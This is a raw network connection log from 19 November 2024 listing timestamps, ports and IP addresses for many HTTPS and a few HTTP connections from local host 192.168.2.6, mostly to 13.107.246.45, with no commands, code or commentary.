Nov 19, 2024 01:01:36.684288025 CET	49847	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.684317112 CET	443	49847	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.686187983 CET	49847	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.686194897 CET	443	49847	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.707576036 CET	49851	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.707621098 CET	443	49851	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.707871914 CET	49851	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.708149910 CET	49851	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.708167076 CET	443	49851	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.746198893 CET	49852	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.746221066 CET	443	49852	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.746294975 CET	49852	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.784672022 CET	49852	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.784687996 CET	443	49852	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.795867920 CET	49853	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.795905113 CET	443	49853	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.796009064 CET	49853	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.796857119 CET	49853	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.796871901 CET	443	49853	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.831871986 CET	49855	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.831908941 CET	443	49855	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.832062006 CET	49855	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.867207050 CET	49855	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:36.867233992 CET	443	49855	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.905003071 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:36.905031919 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:36.905344963 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:36.905805111 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:36.905822992 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:36.936270952 CET	49707	443	192.168.2.6	20.190.159.0
Nov 19, 2024 01:01:36.936634064 CET	49707	443	192.168.2.6	20.190.159.0
Nov 19, 2024 01:01:36.941308022 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:36.941633940 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:36.941663027 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:36.941734076 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:36.941803932 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:36.995702028 CET	443	49847	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.995999098 CET	443	49847	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.996041059 CET	443	49847	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:36.996099949 CET	49847	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.017446995 CET	49847	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.017446995 CET	49847	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.017473936 CET	443	49847	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.017488003 CET	443	49847	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.034836054 CET	49860	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.034888983 CET	443	49860	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.035037041 CET	49860	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.041182041 CET	49860	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.041197062 CET	443	49860	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.312305927 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.312387943 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.312418938 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.312477112 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.312501907 CET	49707	443	192.168.2.6	20.190.159.0
Nov 19, 2024 01:01:37.312510967 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.312544107 CET	49707	443	192.168.2.6	20.190.159.0
Nov 19, 2024 01:01:37.312546015 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.312633038 CET	49707	443	192.168.2.6	20.190.159.0
Nov 19, 2024 01:01:37.312936068 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.312992096 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.313026905 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.313051939 CET	49707	443	192.168.2.6	20.190.159.0
Nov 19, 2024 01:01:37.313061953 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.313091040 CET	443	49707	20.190.159.0	192.168.2.6
Nov 19, 2024 01:01:37.313142061 CET	49707	443	192.168.2.6	20.190.159.0
Nov 19, 2024 01:01:37.361118078 CET	49707	443	192.168.2.6	20.190.159.0
Nov 19, 2024 01:01:37.553795099 CET	443	49852	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.567368984 CET	443	49853	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.577456951 CET	49852	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.577485085 CET	443	49852	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.577956915 CET	49852	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.577961922 CET	443	49852	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.611000061 CET	49853	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.611017942 CET	443	49853	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.611640930 CET	49853	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.611646891 CET	443	49853	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.620747089 CET	443	49855	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.621469021 CET	49855	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.621481895 CET	443	49855	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.622070074 CET	49855	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.622075081 CET	443	49855	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.714585066 CET	443	49852	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.714639902 CET	443	49852	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.714701891 CET	49852	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.722049952 CET	49852	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.722059965 CET	443	49852	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.722071886 CET	49852	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.722075939 CET	443	49852	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.763562918 CET	443	49855	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.763627052 CET	443	49855	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.763734102 CET	49855	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.797152996 CET	443	49860	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.820589066 CET	443	49853	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.820768118 CET	443	49853	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.820828915 CET	49853	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.830641985 CET	49853	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.830641985 CET	49853	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.830662966 CET	443	49853	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.830672026 CET	443	49853	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.841696978 CET	49855	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.841696978 CET	49855	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.841717005 CET	443	49855	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.841726065 CET	443	49855	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.842978001 CET	49860	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.842995882 CET	443	49860	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.843925953 CET	49860	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.843931913 CET	443	49860	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.876730919 CET	49863	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.876749039 CET	443	49863	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.876867056 CET	49863	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.889528990 CET	49863	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.889539957 CET	443	49863	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.890681028 CET	443	49851	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.891654968 CET	49851	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.891668081 CET	443	49851	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.891988039 CET	49851	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.891992092 CET	443	49851	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.920387030 CET	49864	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.920403004 CET	443	49864	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.920506954 CET	49864	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.922493935 CET	49864	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.922506094 CET	443	49864	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.939065933 CET	49865	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.939085960 CET	443	49865	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.939182043 CET	49865	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.939388990 CET	49865	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.939402103 CET	443	49865	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.978375912 CET	443	49860	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.978399038 CET	443	49860	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.978435993 CET	443	49860	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:37.978468895 CET	49860	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.978518963 CET	49860	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:37.993510962 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:38.029938936 CET	443	49851	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.029977083 CET	443	49851	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.030035973 CET	443	49851	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.030065060 CET	49851	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.030098915 CET	49851	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.061968088 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:38.168935061 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:38.168956041 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:38.169955015 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:38.169966936 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:38.170018911 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:38.183610916 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:38.183670044 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:38.213412046 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:38.213421106 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:38.216988087 CET	49860	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.217019081 CET	443	49860	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.269474030 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:38.355252028 CET	49851	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.355252028 CET	49851	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.355271101 CET	443	49851	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.355282068 CET	443	49851	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.454090118 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:38.565242052 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:38.565298080 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:38.574404955 CET	49869	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.574446917 CET	443	49869	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.574533939 CET	49869	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.580733061 CET	49870	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.580820084 CET	443	49870	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.580955029 CET	49870	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.581291914 CET	49869	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.581309080 CET	443	49869	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.586993933 CET	49870	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.587032080 CET	443	49870	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.587691069 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:38.587707996 CET	443	49859	94.245.104.56	192.168.2.6
Nov 19, 2024 01:01:38.587727070 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:38.587753057 CET	49859	443	192.168.2.6	94.245.104.56
Nov 19, 2024 01:01:38.681339025 CET	443	49864	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.691488028 CET	49864	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.691529036 CET	443	49864	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.692051888 CET	49864	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.692059994 CET	443	49864	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.700596094 CET	443	49865	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.701113939 CET	49865	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.701184034 CET	443	49865	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.701657057 CET	49865	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.701677084 CET	443	49865	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.798424006 CET	443	49863	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.809942007 CET	49863	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.809966087 CET	443	49863	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.810481071 CET	49863	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.810486078 CET	443	49863	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.832159996 CET	443	49864	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.832226992 CET	443	49864	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.832401991 CET	49864	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.833476067 CET	49864	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.833493948 CET	443	49864	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.833508015 CET	49864	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.833514929 CET	443	49864	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.846826077 CET	443	49865	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.847031116 CET	443	49865	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.847156048 CET	49865	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.847275019 CET	49865	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.847312927 CET	443	49865	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.847357035 CET	49865	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.847373009 CET	443	49865	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.868536949 CET	49871	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.868580103 CET	443	49871	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.868674040 CET	49871	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.875413895 CET	49871	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.875432014 CET	443	49871	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.882882118 CET	49872	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.882917881 CET	443	49872	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.883002996 CET	49872	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.884355068 CET	49872	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.884386063 CET	443	49872	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.947895050 CET	443	49863	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.948113918 CET	443	49863	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.948374987 CET	49863	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.949870110 CET	49863	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.949882984 CET	443	49863	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:38.949897051 CET	49863	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:38.949902058 CET	443	49863	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.048008919 CET	49877	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.048053980 CET	443	49877	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.048120022 CET	49877	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.048584938 CET	49877	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.048604965 CET	443	49877	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.230065107 CET	80	49824	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:39.230150938 CET	49824	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:39.631269932 CET	49885	443	192.168.2.6	18.244.18.27
Nov 19, 2024 01:01:39.631321907 CET	443	49885	18.244.18.27	192.168.2.6
Nov 19, 2024 01:01:39.631377935 CET	49885	443	192.168.2.6	18.244.18.27
Nov 19, 2024 01:01:39.631639004 CET	49885	443	192.168.2.6	18.244.18.27
Nov 19, 2024 01:01:39.631654024 CET	443	49885	18.244.18.27	192.168.2.6
Nov 19, 2024 01:01:39.636087894 CET	443	49869	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.652194023 CET	443	49871	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.665827036 CET	443	49872	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.687427998 CET	49869	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.687453985 CET	443	49869	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.688687086 CET	49869	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.688694954 CET	443	49869	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.717283010 CET	443	49870	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.720580101 CET	49871	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.720607996 CET	443	49871	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.720683098 CET	49872	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.720702887 CET	443	49872	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.721183062 CET	49872	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.721188068 CET	443	49872	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.721591949 CET	49871	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.721600056 CET	443	49871	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.770709991 CET	49870	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.808553934 CET	443	49877	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.822112083 CET	49824	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:39.822577000 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:39.823127031 CET	49870	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.823141098 CET	443	49870	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.823842049 CET	49870	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.823847055 CET	443	49870	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.826941967 CET	80	49824	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:39.827696085 CET	443	49869	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.827735901 CET	443	49869	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.827781916 CET	443	49869	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.827790976 CET	49869	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.827830076 CET	49869	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.828063965 CET	49869	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.828063965 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:39.828082085 CET	443	49869	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.828097105 CET	49869	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.828103065 CET	443	49869	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.828129053 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:39.858056068 CET	443	49872	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.858134985 CET	443	49872	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.858206987 CET	49872	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.864463091 CET	443	49871	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.864545107 CET	443	49871	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.864662886 CET	49871	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.925395012 CET	49871	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.925420046 CET	443	49871	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.925434113 CET	49871	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.925441980 CET	443	49871	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.927014112 CET	49877	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.927047968 CET	443	49877	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.927738905 CET	49877	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.927743912 CET	443	49877	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.933125973 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:39.933168888 CET	49889	80	192.168.2.6	185.215.113.206
Nov 19, 2024 01:01:39.933866024 CET	49872	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.933881044 CET	443	49872	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.933892965 CET	49872	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.933897972 CET	443	49872	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.938018084 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:39.938069105 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:39.938177109 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:39.938611984 CET	80	49889	185.215.113.206	192.168.2.6
Nov 19, 2024 01:01:39.961195946 CET	443	49870	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.961293936 CET	443	49870	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:39.961369038 CET	49870	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:39.967139006 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:39.967160940 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:39.967329979 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:39.967549086 CET	49893	443	192.168.2.6	172.217.18.1
Nov 19, 2024 01:01:39.967566013 CET	443	49893	172.217.18.1	192.168.2.6
Nov 19, 2024 01:01:40.034224987 CET	49870	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.034224987 CET	49870	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.034260035 CET	443	49870	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.034274101 CET	443	49870	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.059514999 CET	49894	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.059554100 CET	443	49894	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.059631109 CET	49894	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.065350056 CET	443	49877	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.065390110 CET	443	49877	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.065428972 CET	443	49877	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.065479040 CET	49877	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.065479040 CET	49877	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.092991114 CET	49894	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.093019962 CET	443	49894	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.108299017 CET	49895	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.108351946 CET	443	49895	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.108412027 CET	49895	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.108603001 CET	49895	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.108622074 CET	443	49895	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.108771086 CET	49877	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.108778954 CET	443	49877	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.108794928 CET	49877	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.108800888 CET	443	49877	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.119689941 CET	49896	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.119713068 CET	443	49896	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.119829893 CET	49896	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.121490955 CET	49896	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.121501923 CET	443	49896	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.122602940 CET	49897	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.122641087 CET	443	49897	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.122817993 CET	49897	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.122991085 CET	49897	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.123007059 CET	443	49897	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.126765966 CET	49898	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.126774073 CET	443	49898	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.126840115 CET	49898	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.127691031 CET	49898	443	192.168.2.6	13.107.246.45
Nov 19, 2024 01:01:40.127700090 CET	443	49898	13.107.246.45	192.168.2.6
Nov 19, 2024 01:01:40.478996038 CET	443	49885	18.244.18.27	192.168.2.6
Nov 19, 2024 01:01:40.479357004 CET	49885	443	192.168.2.6	18.244.18.27
Nov 19, 2024 01:01:40.479379892 CET	443	49885	18.244.18.27	192.168.2.6
Nov 19, 2024 01:01:40.480941057 CET	443	49885	18.244.18.27	192.168.2.6
